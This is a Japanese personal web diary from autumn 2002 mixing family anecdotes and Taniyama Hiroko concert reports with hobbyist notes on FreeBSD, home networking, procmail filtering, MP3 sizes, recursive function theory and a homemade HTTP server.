何回か書いたように３２歳になるまで福島県の田舎暮らしで、地方に行くと車がないと全く生活がなりたたないわけです。逆に、どこに行っても駐車とかもあんまり困らなかったのです。それで、当時はほとんど歩くということがなく、肉体的にも精神的にも著しく健康を害したと思います。
１５年位前に東京に出てきたのですが、こちらに来てからあんまり車に乗らなくなりました。
- 比較的近くにお店がある。車で行っても駐車が大変なので歩いた方が楽。
- 地方と違って通勤に車を使用するなんて通常考えられない。
- 電車の便が良いので通常車より早く目的地に到着する。
- 都会は渋滞でいらいらするのでなるべく車に乗りたくない。駐車場の確保も大変。
東京に出てきた当初は、通勤で駅や地下鉄の階段を上るだけで息が上がってしまうという悲惨な状況でした。ただ、人間慣れるもので、２、３か月で解消されて今は人並みに歩けるようになりましたし、福島に住んでいた頃に比べれば健康状態もはるかに良好です。歩くってすごく大切だと思います。
自分で積極的に運動をされる方とか、歩くのが好きという方は違うと思うのですが、わたくしの様な極端な運動嫌いな人間にとっては、一般に言われているのとは逆に、地方に住むより東京に住む方が健康に良い面もあるのかなと思うのです。
# ということで、都会の人はコンビニ位は歩いて行きましょう。

2002年11月3日(日)

猫森ハウス

いや、毎日おんなじ題名だから(^^;。今日は S-2。

-------------------------------------------------------------------
/**
 * 毎日おんなじネタを表現するクラス.
 */
class sokkuri {
    static public void main(String [] args) {
        /* そっくりインスタンスの生成 */
        sokkuri p=new sokkuri();
        /* 今日は 3日目なので第2引数は 3 */
        p.sokkurimoji("それでは行ってきま～す",3);
    }
    /**
      * 毎日が猫森.
      * @param s 表示文字列.
      * @param indent 表示インデント(の半分).
      * @return 永久に戻らない(^^;
      */
    void sokkurimoji(String s,int indent) {
        int i;
        for (i=0;i!=indent;i++)       /* インデントを表示 */
            System.out.print("  ");   /* インデントは偶数とする */
        System.out.println(s);        /* 行ってきま～す */
        sokkurimoji(s,indent+1);      /* (^^; */
    }
}
-------------------------------------------------------------------

今日は本当にすばらしかったです。

モカの反則
最近家で仕事なので、モカと相撲ごっこをすること多いのです。それで当然わざと負けてあげるのですが、毎回負けてはつまんないので、三回に一回位は勝つのです。
ところがモカ姫たるもの、頭が畳についた位では「背中がついてない」とか言って敗けを認めません。そこでプロレスモードに突入するのですが、モカ姫は形勢不利とみるや反則攻撃を仕掛けてくるのです。
- つばをかける。
- なめる。←これはわたしがいやがると思ってやるのだけど本当はうれしかったりします(^^)。
- ひっかく。
- 爪を立ててつねる。
- かみつく。
- たまげり(^^;。
小学校三年生の女の子とあなどるなかれ。最後の四っつは痛いんです。万が一最後のが決まったりしたら大変大変(^^;。ちょっと前までは気楽に戦闘できたのに、最近は油断をすると本当に痛い思いをします。
それで、「学校でもけんかで男の子のキ○タ○をけるのか」と聞いたら、蹴ったことがある(=_=)そうで、かわいそうに泣いちゃったそうです(^^)。←そりゃー泣くよな～。
# 昨日も腕に引っ掻き傷をつけてコンサートに行きました。

A プログラム

まず谷山浩子さん関係でない人への説明。正式名称かどうか分かりませんが、今回の猫森集会は２日ずつ同じ曲目(オールリクエストは除く)で、それぞれ A,B,C,D と呼ぶのが通例の様です。ただし C はオールリクエストです。金曜日は谷山さん超緊張状態という感じでしたが、土曜日はリラックスされていてとても楽しめました。まあ、聴く方も初日は緊張するのですが。

それで A の曲目。

曲名備考

ＭＡＹオープニング

すずかけ通り三丁目

~~ポンピイ~~ ~~ポンピィ~~ ポンピイ・クラウンの片想い

あたしの恋人恋人シリーズ

恋人の種

てんぷら★さんらいずなんてことシリーズ

不眠の力

さよならのかわりに「に」で終わるシリーズ

鳥は鳥に

河のほとりに

電波塔の少年都会の夜景シリーズ

地上の星座

神様二文字シリーズ

再開再会コピーしてごめんなさいm(__)m

約束

会いたくてエンディング

星より遠いアンコール

ちょっとフォーク系の曲は余り得意でなく「変だな」系や「しっとり」系が好きなのですが、聴いててぞくぞくしたのは、

ＭＡＹ
不眠の力
電波塔の少年
神様
星より遠い

別に最初と最後だからというわけでなく、「ＭＡＹ」と「星より遠い」が好きでした。音楽を聴いてて、感動して体に戦慄が走るというのはだれでも経験しますよね。いずれにしても、まだ最初の二日ですけど、十分堪能状態です。

幸せ～(^^)。

2002年11月2日(土)

今日も猫森
昨日とおんなじですね。昨日の内容はまだ書けませんが、そんなに多くない人数の観客が回りを囲む形式っていいですね。特に昨日は谷山浩子さんを真っ正面から見れる絶妙の座席だったし。
今日は 1-4 か～微妙な位置ですねえ(^^;。
正直行って、9月の終り頃は精神的にずたぼろで、とても今回のコンサートを楽しむことなんてできないと思っていました。もしかして物理的にではなく精神的な理由で一回も行けないかなとさえ思ったこともあります。そういう意味では前の会社をやめたこと自体は必然なのですが、やはり今後の生活に関して色々不安があったのは当然なのです。
だけど運良く今年中の仕事は在宅で確保できたし、来年の一月からの就職も決まってやっと落ち着いてきて楽しめる気分になりました。実際に昨日はとても楽しかったです。
これからもなんとか生きていけそうなのは、私のばか話に(たまに真面目なことも書くんですが～)付き合ってくれる人がいたり、仕事上で親切にしてくれる人たちがいたり、やはり自分の回りの人に非常にお世話になっていると思います。感謝でございます。
さー、今日からも楽しみますぞ～。仕事も結構大変なんだが(^^;。
それでは今日も行ってきま～す♪

行ってきました。感想は後日。←昨日と変わらんじゃん(^^;。
昨日は、どなたかが言われていました様に空席感がひたひたと感じられましたが、今日は満席でございました(^^)。
あと、テープどうもありがとうございます。
AirH"
わたしと似たようなことを考える人もいるのですねえ。それをちゃんと商品化出来るかがお金もうけの才能の差でしょうね(^^;。
それはともかく、.htaccess っていろんなことが出来るんですね。わたしゃ、単にユーザー名とパスワードのダイアログを出すだけのものかと思っていました(^^;。
あと、'?' を CGI と見なすっていう安易な発想ってわたしだけじゃないのですね。もっとも '?' つきということは引数ありで、毎回内容が変化するということだから、キャッシュに関する判定としては妥当ですね。←クライアント側では CGI かどうかなんて分からないですしね。

2002年11月1日(金)

猫森集会
いよいよ今日からですね。遅刻しないようにしなくっちゃ。それにしても先月は激動と散財の一ヶ月でしたなぁ(^^;。
「今から一ヶ月前まで」とか出せるといいんですが。どうせ面倒でやらないでしょうね。やるとしても CGI にすると biglobe と que で内容を変えたりと非常に煩雑になるので、「こっちの世界」のシェルかなんかでで自動的に一ヶ月分を作成して「あっちの世界」へアップロードという非常に安易な方式になるでしょう。てゆーか、これを簡単に実現したいためにファイル置き場を変更したのですけど全然実行しませんね(^^;。
それはともかく去年の８月１日がなつかしいです。まだトンガの時代だったのですね(^^)。←猫森と何の関係もないじゃん。
それでは行ってきま～す。
帰ってきました、感想は後日。
小学生様へ。今日は初めましてでございました(^^)。
きのうの寝坊
某アンテナでこんな風に表示されていました。
```
--------------------------------------------------
2002/10/31 11:08:32 更新記録と日記 かがみさん
↑今日は予行演習なのに2時間も寝坊(^^;。
--------------------------------------------------
```
うーん、まるで11時まで寝ていた様ですねえ(^^)。9時に起きたのですが。 ←十分寝坊だってば。
だけど人様のまねをして更新記録なんて名前つけたけど、全く更新記録の役割を果たしていませんね。単に日記でよかったかも。
今日はちゃんと起きました(^^)。
ADSL の速度チェック
ご存じかも知れませんがここの 2M が安定しています。ファイルを一回読み込んでキャッシュに入れて、その後転送する様です。最近は夜の23時過ぎて速度が遅くなるということもなくなりましたね。
中途半端な速度だとちょっと面倒ですなぁ。まず ADSL レベルでリンク速度が出ていないのか、IP レベルで速度が出ていないのか調べないと。上のサイトも biglobe からいいだけかも知れませんし。
ただ速度が数値で出るから不愉快なんで、実用上はそのくらい出てると本当は困らないんですけど。だけど私も経験あるけど不愉快なんですよね。
それはともかく、明日を楽しみにしております。

2002年10月31日(木)

春日歩
二女に聞いたらこの人だそうですね。二女はアニメおたくなのです(^^;。
明日から
いよいよ明日から連続猫森モードに入ります。それで当然仕事も大切なので、一日のスケデュール。
- 7時起床。
- 8時から仕事開始(^^;。
- 16時頃まで仕事。
- 16時半頃家を出発。猫森モード。
- 23時か23時半ころ帰宅。
- 1時頃に寝る。
小学生並みですな。だけど体力もつかなぁ(^^;。
↑今日は予行演習なのに2時間も寝坊(^^;。
ところで、どなたか新宿駅からスペース・ゼロまで歩いて何分くらいかかるか教えてもらえないでしょうか。
５分位なんですね。もちろん地図は見たのですが、距離感がつかめなくって。あれれ、下の方に書いてありますね(^^;。
「話を聞かない男地図を読めない女」っていうのがありましたが、両方だめなわたしって(^^;。
覚え書き(前にも書いたかも^^;)。
インストールのたびにはまる。てゆーか調べるのに時間がかかること。
半角/全角を Escape に変更
```
~/.Xmodmap に keycode 49 = Escape と記述。
.xinitrc で xmodmap ~/.Xmodmap
```
モジラで Canna のインライン入力。
```
~/.mozilla/.../prefs.js で
user_pref("xim.input_style", "over-the-spot");
```
そろそろ、「数学ネタ」、「コンピュータネタ」あたりをまとめて、新しいページ作って、そこに置いた方がいいかなあ。だけど面倒だなぁ。
無線 LAN の中継
おんなじサイズですね。それはそうとこれ中継できないんですよね。やってみるまで気が付かなかったという。しかし、AirStation がらみも似たような商品で、機能が違うのがたくさんありますねえ。この前お店で店員の人に聞いても意味不明な答えしか返ってこなかったし。間違えて買っちゃう人っていないのですかねえ。

太文字

XF86Config にこれらが

---------------------------------------------------------
Section "Files"
...
        FontPath   "/usr/X11R6/lib/X11/fonts/TrueType/"
EndSection

Section "Module"
...
        Load  "xtt"
EndSection
---------------------------------------------------------

必要な様です。こういうのは自分では絶対にわかりませぬな(^^;。

2002年10月30日(水)

続 X24
大体前のノート PC と同じ環境になりました。これで当面必要な Java の開発ができます。それにしても、R30 とはレベルの違う高級感です。それでは、初めての X24 からのアップロード。ちなみにこのホスト名は moka と決定しました。
本当に散財モードからさよならして、谷山浩子さんモードに入ります。
やっぱり速い ADSL
家のインターネットは、データリンクが 2Mbps 位の速度で余り速い方ではないのですが、 CDROM を丸ごと一時間で持ってこれたり、FreeBSD の巨大な ports をどんどん入れることができたり、便利になりましたねえ。そもそも、ちょっと速度がでる人は、家の無線 LAN よりインターネットの方が速いだろうし。あっ、無線 LAN って 11Mbps って書いてあっても 4Mbps 強しか出ないのです。
一昔前まで巨大な ports は CDROM から package 化したものを入れるのが普通でしたからね。そもそもブートの時以外はフロッピーや CDROM の必要性を感じないし。私も講読やめちゃいましたが、FreeBSD の CDROM なんて日本では売り上げ落ちてるんじゃないかな。もともと雑誌の付録とかでいれる人が多かったから関係ないかな。
ところで見出しの「太文字」が新しい環境で太くなりませんな。w3m でもモジラでもどっちもだめです。どうしてだろう。フォントのことは全く分からないし。困ったな。てゆーわけで、もし太くするのを忘れていたら教えてください。
Ethernet と無線 LAN
今家の環境は大体下図の通りです。
```
                Internet
                  |
                ADSL modem
                  | 200.200.200.200
                NAT router
                  | 192.168.101.1
      -------------------------------------------------------- Ethernet
              |192.168.101.100               |                 
           WindowsME2000   ------------------------ 無線 LAN 基地局
                             |192.168.101.184  |192.168.101.183        
                         galois(R30)        moka(X24)
```
もちろんこれでちゃんと動作するわけですが、galois と moka は同じ机の上にあるのです。それで、両方 100BaseTX のポート(fxp0)が余っているので、２台だけはそちらでつなぎたいのです。ただしその時の状況と気分でつないでいない場合もあり。
```
                          ------------------------ 無線 LAN birdge
                             |192.168.101.184  |192.168.101.183        
                         galois(R30)        moka(X24) --- AirH"
                             |192.168.100.184  |192.168.100.183
                          ------------???--------- 100BaseTX
```
もちろん片方の無線 LAN を殺して、経路を変更して、生きてる方の ipforward を立てればいいのですが、無意識に「線をつないだら 100BaseTX を使用する」という方法が欲しいですね。 IPv6 のリンクローカルアドレスを利用して、100BaseTX 側を監視するようにしようかな。昔仕事で似たようなことやったし。 IPv4 の ping かなんかでもインターフェースを指定出来るのかな。
ついでに、moka に AirH" のカードが挿さりっぱなしなので、ADSL がダウンしたときに勝手に Active になって、しかもそのマシンがルーターになればいいのだけど。まあ、遅くて使い物にならないでしょうね(^^;。
ただ、これだけ有線、無線が多種多様に一つの機器で使える状況だと、最適なインターフェースの切り替えと、それに対応する経路やルーター動的切り替えが無意識にできる機構は十分研究課題になるのではないかな。そのあたりは IPv6 関連の人たちが研究中なのかもしれませんね。
とりあえず上のアドレスでつないで、アドレスに対応する名前をもたせて、名前を意識して使用ですね。

2002年10月29日(火)

X24
埼玉に行った帰りに秋葉原に寄って IBM X24 を買ってきました。
```
X24 + 拡張ベイ + 512MRAM + 消費税 = 235,000 円(^^;
```
それで、今家に FreeBSD マシンが２台あります(^^;。
落ち着いたら古い R30 を Windows2000(^^; にする予定です。詳しい感想は後日書きますが、
- 大きさといい、重さといい丁度良くできている。全体に R30 より高級感あり。特にキーボードが優秀。最高です。X30 が発売間近なので安くなったけど、最初は高かったのでしょうね。あと色が IBM にしては綺麗ですね。
- Windows XP は全然使い方が分からなかった(^^;。
- 面倒なので、ディスク全体を FreeBSD パーティションにしたけど大丈夫かな。
- 内蔵無線 LAN は今は亡き(^^; XP では苦労したが FreeBSD ではアドレスと wepkey の設定だけで簡単に動作。
- ちっちゃいので仕方がないけど、拡張ベイがないと CDROM もフロッピーも使えないのは不便。USB のデバイスは FreeBSD ではうまく動かないことが多いのです。だけど拡張ベイなんて FreeBSD をインストールするとき以外使わないかも。高い 10,000円であった。ひとたびネットワークが動いてしまえば無敵ですからね。
- FreeBSD の CDROM が家になかったので、牛様で DTI から FreeBSD ISO-image をダウンロード。本当に一時間でダウンロード出来ました。
- たいしてクロックが変わらないのに R30 より「きびきびかん」がある。新しくてファイルシステムが綺麗だからかも。
- X はなんにもしないで動いた(^^;。仮想スクリーンとかキーマップの調整はしましたけど。
- あとは Emacs,Mozilla,TeX が入れば一段落ですね。
- メモリー 640M どうしよう。←そりゃ円周率一億桁挑戦以外ないですね(^^;。
夜が長そう。
お出かけ
今日は埼玉で打ち合わせ。
表示できた PNG
>>>またちょんぼしたかなぁ(^^;。
表示できなかった理由は恥ずかしくて書けなかったりします。

2002年10月28日(月)

表示できない PNG
昨日、某所で(^^;新しい画像がアップされたので、さっそく壁紙にするとともに、ちっちゃくして携帯へ転送しました。ちなみに私の持っている au が表示できる画像は JPEG と PNG だけで GIF は表示できません。これ自体はいい考えだと思っていますが。
ところが不思議なことに、ケータイで PNG を表示しようとするとフォーマットエラーが出てしまうのです。 JPEG だと大丈夫。今までずっとちっちゃい画像を PNG で表示出来ていたのに不思議。またちょんぼしたかなぁ(^^;。
今日は散財せず
ちょっと仕事が忙しいので、今日は散財にいかず。もう少し待つともっと安くなるうわさもあるし。←これ言ってるときりがないんですがね。
深夜放送
オールナイトニッポンを聞き始めたのは中学校二年生の頃です。たしかデパートの福引きかなんかで、当時としてはかなり高価なラジオ付き時計を当てたのです。むむ、福引きに強い家系かも(^^)。
当時は福島県に住んでいまして、東京の電波なんて昼間は絶対に入りませんでした。ただ夜になると電離層の反射により、調子がよくなったり悪くなったりはあったのですが、何とか聞き取れる音で受信することが可能だったのです。フェライトアンテナだけでは弱いので、裸にして、線をのばしたり色々苦労もしました(^^;。
当時全盛だったのが、「亀渕昭信」「さいとうあんこう」さんコンビの「カメ AND あんこう」でしたね。亀渕さんは今や社長です。あんこうさんはどうなったのだろう。
一番困ったのが、福島の NHK 第２放送。ニッポン放送と 10KHz 違いだったのです。これが放送中は全然聞こえないのです。それでも普通の日は夜中の零時になると、「き～み～が～あ～よ～は～」の曲で終わってくれたので良かったのですが、台風なんか来ると一晩中放送で、その日のオールナイトニッポンは断念。
高校一年の頃、親に頼み込んで当時(30年以上前)としてはびっくり SONY の 2万5千円のラジオを買ってもらい悩みは解消しました。このページの真ん中辺の ICF-500 というやつですね。残念ながら高校２年生から完全な数学モードに入って、他のことにほとんど関心がなくなり深夜放送もあんまり聞かなくなってしまいました。谷山浩子さんのオールナイトニッポンも存在さえ知らなかったです(^^;。

2002年10月27日(日)

.procmailrc の大失敗
最近自宅では biff の役割しか果たしていないケータイが突然鳴ったので、メールかいなーと思ってみたら「未承諾広告※」。変だなー、レンタルサーバーの .procmailrc で広告は広告箱に入って、ケータイには転送されないしメールボックスにも入らない様にしてあるはずなのに。ソースをみても正しそう。てゆーか人様の丸写し。
```
:0H:
* ^Subject: \/.*
* ? echo "$MATCH" | /usr/local/bin/nkf -Zme | /usr/bin/grep '未承諾広告※'
$ADV
```
よく見たら .procmailrc のエンコードが JIS(^^;。これでは動きませんね。この場合 EUC にする必要があります。
ちなみに biff はメールが届いたと騒いでくれるソフトウエア。作った人が飼ってた犬の名前が biff で郵便屋さんが来ると吠えたそうです。
留守番
今日は、三女のサイエンス倶楽部の日なのですが、また I さんの娘さんを帰りにあずかることになりまして、「お父さんはいない方が」ということで今日も留守番。
回路の破壊
たまに CPU の向きを間違えて挿したりするという、とってもヌマケな人(^^;がいますが意外と壊れません。一般に、最近の LSI のピンは次の用途に分類されます。
- GND グラウンド
- VCC +5V 供給
- 入力ピン。RAM のアドレスバスなど。外からはハイ・インピーダンスに見える。
- 出力ピン。CPU のアドレスバスなど。稼働時には外からはロー・インピーダンスに見える。通常リセット前はハイ・インピーダンス。
- 入出力ピン。時分割で入力と出力が変化。CPU のデータバスなど。通常リセット前はハイ・インピーダンス。
それで、電源が供給されていない状況では、GND,VCC はインピーダンスが高いので間違えても回路自体は大丈夫な場合が多のです。ただし、GND,VCC が逆になるとかなり危ないらしいです。入力ピンもインピーダンスが高いので大丈夫。出力ピンと入出力ピンは本来危ないのですが、そもそも稼働していないのでハイ・インピーダンスで大丈夫。
という感じで LSI 自体はなかなか壊れないのです。間違えて挿した場合、全体のインピーダンスのバランスが悪くなり、抵抗、コンデンサー、電源関連にダメージを与える場合の方が多いのですね。もちろん絶対に壊れないわけではないので壊れても怒らないで下さいね(^^;。
偶然向きを間違えた状態で、電源が供給されてしまった場合はアウトです。もちろんその他の場合でも全く保証はできません(^^;。
ちなみに、実際に回路の内部を作成する場合、入出力ピンのモード切り替えはとっても忙しいです。

2002年10月26日(土)

意外と不安定な電波状況
最近まで電波関連の機器を使ったことがなかったので分からなかったのですが、電波状態っておんなじ場所にいても意外と変化するのですね。
- ケータイの場合、電波良好から圏外まで勝手に変化することあり。
- AirH" の場合緑ランプ(良好)からランプつかず(通信不能)までしょっちゅう変化する場合あり。
- 無線 LAN の場合、あたかも ADSL の様に動的に速度を変化させるのですが、これもちょっと遠い場所だと変化する場合が多い。
というわけで、移動しなくてもテレビの様に常に安定した状況というものではないのですね。ちなみに、ちょっと遠くの部屋だと無線 LAN の電波状況が悪いので、アンテナを買ってきて取りつけました。いま使っている部屋では非常に良好になりましたが、もっと離れた部屋ではまだ不安定ですね。とある事情ありて(^^;、もう一つちっちゃい基地局があるので、それで中継しようかな。
ちなみに「トロ」という言葉は文脈により二つの使い方がありますね。
- 遅い、愚鈍。
- 極めて高価でおいしい。
不条理
カミュの話ではないです。つまりー、向きを間違えて挿しても壊れない人もいるし、何にも悪いことをしていないのに火を噴く人もいるなーと思いまして。
今日は仕事
月曜日秋葉原で最後の大散財をしようと思っているので、今日は一日お仕事。だけどドラムの練習はあり(^^)。
それはともかく、もうすぐ大イベントですね～(^^)/。
もちろん「谷山浩子さん」と「ADSL^^」のことです。
30G のハードディスク
今使っているノート PC は 30G バイトのハードディスクを搭載しています。それで、前にも書いたように、谷山浩子さんの 256Kbit レートの mp3 化した CD が 31 枚。その他ピアノ系の CD が 20 枚程度入っています。それで、現在どういう状態かと言いますと。
```
$ df
Filesystem  1K-blocks    Used    Avail Capacity  Mounted on
/dev/ad0s1a    254063   43869   189869    19%    /
/dev/ad0s1f  26063003 8851791 15126172    37%    /usr
/dev/ad0s1e    127023   15220   101642    13%    /var
procfs              4       4        0   100%    /proc
```
という状態でまだ半分以上残っていますね。ただ、わたしの場合 70% 位使うと残量が不安になって増やしたくなるので残り半分ですね。今後今までみたいに急激に mp3 が増えることもないと思いますので、きっと使いきる前に壊れるでしょうね。ちなみに今度の大散財は、バックアップ機の確保という真面目な意図もあるのです(^^;。

2002年10月25日(金)

びっくりぞうさん
昨日帰ってきたら HMV に注文しておいた「そっくりハウス」が届いていました。大きめの箱だったのでちょっと期待して開けたら、なんとびっくり「ぞうさん人形」が入っていました。藤沢の弱小レコード屋さんに注文するより良かったかも(^^)。
というわけで記念撮影。来月になったらインラインでなく参照に変更します。
難しかった因数分解
そうか 50 = 10 x 5 なんだ。昨日やっと理解するとは(^^;。校庭はさっぱりわからないです。別ネタかな。←別ネタの様ですね(^^;。

~~mp3 サイズの謎~~そっくりサイズ

そっくりハウスは同じ曲が、谷山浩子さん歌バージョンと、カラオケバージョンとして含まれています。最近は家にまともな再生機器がないので、CD を買ってくると、 256Kbit レートで mp3 化して PC にヘッドフォンをつないで聞くのです。それで mp3 化した結果が下記の通り。

曲名歌ありサイズカラオケサイズ

そっくりハウス 4604237 4604237

恋するニワトリ 5298049 5298049

まっくら森のうた 5644955 5644955

おいしくたべよう 3243362 3243362

おはようクレヨン 4537364 4537364

おひるねしましょう 4737148 4737148

空のオカリナ 5983502 5936691

はみがき・しゅしゅしゅ 2506918 2506918

しっぽのきもち 6006072 6006072

誕　生 8399306 8375901

なにが謎かといいますと、ほとんどの場合歌バージョンとカラオケバージョンのサイズが完全に一致しているのです。

実は mp3 に関しては耳知識しかないのですが、次の処理で圧縮が行われていると聞いたことがあります。

マスキングされてどうせ聞き取れそうのない音成分のカット等の処理。
カットした音成分をハフマン圧縮。

それで、いずれの処理も、元のソースのほんの少しの揺らぎで大きさが変動する可能性が極めて高いのです。偶然一致するなどという確率は極めて小さいと考えられます。うーん、不思議。なにか勘違いしているのかな。

それにしても「誕生」。なんて素晴らしい曲なのだろう。

上記の謎に関して教えて下さった方がおられまして、ビットレートを一定に保つためにダミーを入れるようです。実際ダンプすると、カラオケ版の方がダミーっぽいデータが多かったです。どうもありがとうございます。

やはり、いーかげんな知識はだめですなぁ(^^;。

2002年10月24日(木)

11月24日大阪行き
今日は埼玉県で打ち合わせ。途中で東京駅によって JR 東海「ぷらっとこだまエコノミープラン」を購入。15時19分大阪着予定。
本日配送
本日 HMV にインターネット注文しておいた「そっくりハウス」が届くそうです。山野楽器にインターネットで「翼」を注文したときは、ちゃんとフライングで届いて、しかもイベント券までついて来たんだけど。
大切なこと
基本的にわたくし、自分にしても他人にしても「苦労する」とか「努力する」ということ自体好きでなく、なんでもスマートにできればいいなと考えているのです。ただ、先月の末からいろいろありまして、家族は別として、親身になってわたくしのことを考えて下さる方は、昔仕事などで一緒に大変な苦労をした人達が多かったのです。そういう面でいろいろ考えさせられることが多い一月でした。
もしかすると、苦労とか努力の共有というのは、人間関係の構築にとって重要なファクターの一つなのかもしれませんね。
考えてみると、夫婦の関係とか親子の関係なんてのも楽しみも多いのですが、苦労とか努力も多いですしね。もちろん安易に「苦労」や「努力」がいいとは言いませんけど。
それにしても、正直ほっとしましたね(^^)。
# やっぱり努力は嫌いです(^^)。
昔からの謎
「更新なし」「更新履歴を更新」の違いはなんなのだろう。しかも、何にも書いてない日でもまちまちなので混乱の極み(^^;。
↑納得(^^)。

2002年10月23日(水)

お出かけ
今日は 6時半に家を出発。眠い。
それはともかく、「異音がしたらリモートシャットダウン」ってどうして音が聞こえるの。不思議。
なんとなく一月以降の落ち着き先が決まりました。だけど、独立するなーんていって、あんなに散財してしまった。どうしよう(^^;。
しかも、もうひとつ大散財する予定があったりします。
そっくりハウス
買いに行くのが億劫でインターネット注文したけどまだ来ない(-_-)。こんどからちゃんと買いに行こう。
帰納的関数
計算量の前に計算可能の話。つまんないです。
次の条件を繰り返して構成可能な自然数(0 を含む)の積集合を定義域として自然数を値とする関数
```
 f: N x N x N x...x N ---> N
```
を原始帰納的関数といいます。
- f(x) = x + 1 (1 加算)
- f(x_1,x_2,...,x_n) = p (定数)
- f(x_1,x_2,...,x_n) = x_i (射影)
- f(x_1,x_2,...,x_n) = g(h_1(x_1,x_2,...,x_n),...,h_m(x_1,x_2,...,x_n))
 (合成。ここで g,h も原始帰納的)
- f(0,x_1,x_2,...x_n) = g(x_2,...,x_n)
 f(y+1,x_1,x_2,...x_n) = h(y,f(y,x_1,x_2,...x_n),x_2,...,x_n)
 (帰納法の原理。ここで h も原始帰納的)
定義からわかるように、原始帰納関数は必ず有限ステップで「具体的」に計算することが可能です。言い換えると原始帰納関数は「計算可能」です。もうひとつ面白い性質があって、原始帰納関数は事前に計算時間を見積もることが可能です。これも定義からすぐに分かります。ある意味 P とか NP と呼ばれているカテゴリーの関数は「原始帰納的関数」の中でも特に高速に計算可能なクラスであります。
通常プログラムを作成しているときに現れる関数は、間違いなく原始帰納的関数です。それでは「計算可能」と考えられているクラスは「原始帰納的」かというとそうではなく、現在は「(一般)帰納的関数」が「計算可能」と同値と 信じられています。
それで、(一般)帰納的関数の定義ですが、原始帰納的関数の定義に現れている言葉を全部「(一般)帰納的」と置き換えて、次の規則を追加します。
- P(x_1,...,x_n,y) を述語として A(x_1,...x_n)E(y)P(x_1,...,x_n,y) が成立するとします。ここで A,E は全称記号と、存在記号とします。この様な条件を満たす最小の y を mu(y)(P(x_1,...x_n,y) と記述します。
- 上記の述語に対して、表現関数 g を
 g(x,y)=0 <---> P(x,y) が成立。
 g(x,y)=1 <---> not P(x,y) が成立。
 という条件で定義します。
- f(x) = mu(y)(g(x,y) = 0) も(一般)帰納的関数。
つまり、ある条件を満たす「自然数」の存在が(具体的でなくても) 保証されている場合、その最小値をとる関数も「(一般)帰納的関数」であるということです。原始帰納的でない一般帰納的な関数は、計算が終了することは保証されていますが、いつ終わるか見積もれない場合があります。mu 演算子が具体的でないですからね。アッカーマン関数が有名です。
# mu 演算子は自然数の世界での選択公理的な役割をになっています。
# 具体性がないのです。
# てゆーか mu 演算子を述語論理の中に汎用的に埋め込むと
# 選択公理が不必要になるんじゃなかったかな。
参考文献。「ゲーデルの世界」。廣瀬建、横田一正。
やっぱりつまんないですよね(^^;。

2002年10月22日(火)

10時限(^^;空間
「ひも理論」によると宇宙は通常の次元が 4次元(時間を含む)で、あと 6次元が「おりたたまれている」次元で合計 10次元と考えると都合がよい様です。 1次元見落としがあって 11次元かも知れないという考えもあるみたいです。それで、6次元の折り畳まれた「図形」をカラビ・ヤウ多様体というらしいです。ちなみに「多様体」というのは数学用語で、一般の高次元の図形のことなんですが、厳密に定義するのはとても面倒なのです。わたしの「ひも理論」読み物的知識は次の本のコピーなのですが、かなり売れたそうですね。だけど、昔数学なんてやっていたので、高次元の幾何学の意味くらいは分かるのですが、一般の人は読み通すのが難しかったでしょうね。
「エレガントな宇宙」ブライアン・グリーン ISBN4-7942-1109-0
一日の授業が 10時限だったらたまりませんね(^^;。
だけど高校のころは 7時限まであったな。
多様体
大学で数学を勉強する大きな目標の一つは、「多様体」を理解することなのかなと思うことがあります。例えば、ドーナツの表面を考えてみます。これを作るには、例えば折り紙をそれなりの大きさにちぎって、のりで上手にぺたぺた張り付けていけば作ることができますよね。
折り紙をちぎった断片は、2次元平面的なものなので、それを張り合わせたドーナツの表面を 2次元多様体と言うのです。一般に、n 次元の空間の断片(正確には開集合)をぺたぺた張り合わせた「図形」を n 次元多様体と言います。
元の素材と、張り合わせ具合いによって、色々な「多様体」が定義できて、
- 位相多様体
- C^n 級微分可能多様体
- 実解析多様体
- 複素多様体
- 代数多様体
なんていうわけの分からない名前がたくさん出てきます。ちなみに、整数の研究など図形(多様体)と全然関係なさそうですが、特に代数多様体が大活躍するのです。

2002年10月21日(月)

谷山浩子そっくりハウス ILLUSTRATION SONG BOOK
これはいいですね(^^)。いつ発売なのでしょうか。
2002年10月29日(火)ということです。上記のリンクによると B5判縦/3616頁(^^)だそうです。値段は 0円と書いてありますが、高すぎて書けないんでは(^^;。
谷山浩子さんのページ更新。購入予定なんて書いちゃったけど、本当に 3616ページで 10万円だったらどうしよう(^^;。
曜日の概念喪失
昨日は一日中仕事。結構はかどりました。なーんか曜日の概念が甘くなっています(^^;。在宅での仕事というのもなかなかリズムを作るのが難しいですね。
http サーバー
このページをご覧になって下さっている方はご存じの様に、わたくし HTML は全く分かりません。
ところが面白いことに、おもちゃの http サーバーは作ったことがあります。もちろん、おもちゃであって、GET と POST の基本機能以外ありませんでした。それでもちゃんと CGI の実行はできたのです。複数コネクションを同時に扱うことも可能でした。
作ったのは三年くらい前ですが、当時は HTML はもちろん http サーバーの動作の仕組みも全然分からなくて tcpdump で解読して作りました。
でもって作り方。
- TCP のサーバーの「おまじないをして」accept 待ちとなる。
- 接続が来たら受理して fork する。子供はソケットを標準入出力に結び付ける。
- 親は即座に accept 待ちに戻る。
- 子供は(exec はしていない)、標準入力を読み込んで GET や POST の文字列を解釈する。
- GET の場合子供はファイルを読み込んで標準出力に書くか、環境変数をセットして CGI プログラムを exec する。
- POST の場合ちょっといやらしくて、Content-Length を要求する CGI があるので、標準入力をパイプで渡しにくいのです。仕方がないので中間ファイルを使用して、それを標準入力に結び付けて CGI を exec。
という案配で、当時は何にも知らないで推測だけで作ったので三日くらいかかりましたが、仕様を知っていれば一日仕事ですね。 http プロトコルはこの様にサーバー側が極めて単純な機構で動作するために大成功をおさめたのだと思います。何といっても HTML を知らなくても出来てしまうのですからね。もちろん Apache の様な高機能なサーバーを作成するのはとても大変です。
最大の失敗は CGI かどうかの判定を "http://なんたらかんたら?" と '?' つきかどうかで判断したことですね。だって tcpdump でみたサンプルは全部引数付きだったんだもん(^^;。
昔から文法にはとってもうるさい方なのに、どうして HTML と日本語に関してはこんなに杜撰なんだろう。

2002年10月20日(日)

モバイル環境
この２週間くらいで完全にデムパ系の環境が整いました。あっ、もともとデムパだというつっこみはなしね(^^;。
最大の問題は電車の中とかでの WWW 閲覧ですね。外出すると電車に乗る時間が長いのです。それでノートを出す場所もないし、ケータイはお金がかかるし余りにも不便。
というわけで、気軽に AirH" が使えるモバイル機器が欲しいですね。少しはお金やスケデュールの管理もしたいですからね。
あと、今使っている家族用牛 PC は私が Windows の開発等に使用したいので、家族用ノートも一台必要ですね。実は PC 無線カードが一枚余っているのです。
結局散財日記になっていますね(^^;。
